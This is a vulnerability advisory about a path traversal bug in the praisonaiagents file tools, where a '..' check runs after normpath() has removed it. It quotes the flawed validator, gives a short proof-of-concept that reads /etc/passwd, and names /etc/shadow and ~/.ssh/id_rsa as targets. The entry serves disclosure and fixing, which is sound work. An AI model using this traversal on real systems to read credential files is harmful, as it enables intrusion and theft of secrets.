
Cloud Vulnerability DB
A community-led vulnerabilities database
The path validation has a critical logic bug: it checks for .. AFTER normpath() has already collapsed all .. sequences. This makes the check completely useless and allows trivial path traversal to any file on the system.
The path validation function also does not resolve the symlink wich could potentially cause path traversal.
_validate_path() calls os.path.normpath() first, which collapses .. sequences, then checks for '..' in normalized. Since .. is already collapsed, the check always passes.
Vulnerable File:
src/praisonai-agents/praisonaiagents/tools/file_tools.py
Lines:
42-49
class FileTools:
"""Tools for file operations including read, write, list, and information."""
@staticmethod
def _validate_path(filepath: str) -> str:
# Normalize the path
normalized = os.path.normpath(filepath)
absolute = os.path.abspath(normalized)
# Check for path traversal attempts (.. after normalization)
# We check the original input for '..' to catch traversal attempts
if '..' in normalized:
raise ValueError(f"Path traversal detected: {filepath}")
return absoluteSeverity: CRITICAL CVSS v3.1: 9.2 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Prerequisites:
Steps to reproduce: poc.py
from praisonaiagents.tools.file_tools import FileTools
print(FileTools._validate_path('/tmp/../etc/passwd'))
# Returns: /etc/passwd
print(FileTools.read_file('/tmp/../etc/passwd'))
# Returns: content of /etc/passwdWhy this works:
# Current vulnerable code:
normalized = os.path.normpath(filepath) # Collapses .. HERE
absolute = os.path.abspath(normalized)
if '..' in normalized: # Check AFTER collapse - ALWAYS FALSE!
raise ValueError(...)/etc/passwd, /etc/shadow, ~/.ssh/id_rsaread_file, write_file, list_files, get_file_info, copy_file, move_file, delete_file, download_file'..' in filepath BEFORE calling normpath(), not after_validate_path uses os.path.normpath and os.path.abspath, which don't resolve symlinks, making it vulnerable to path traversal via symlink if attacker can control the symlink.Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."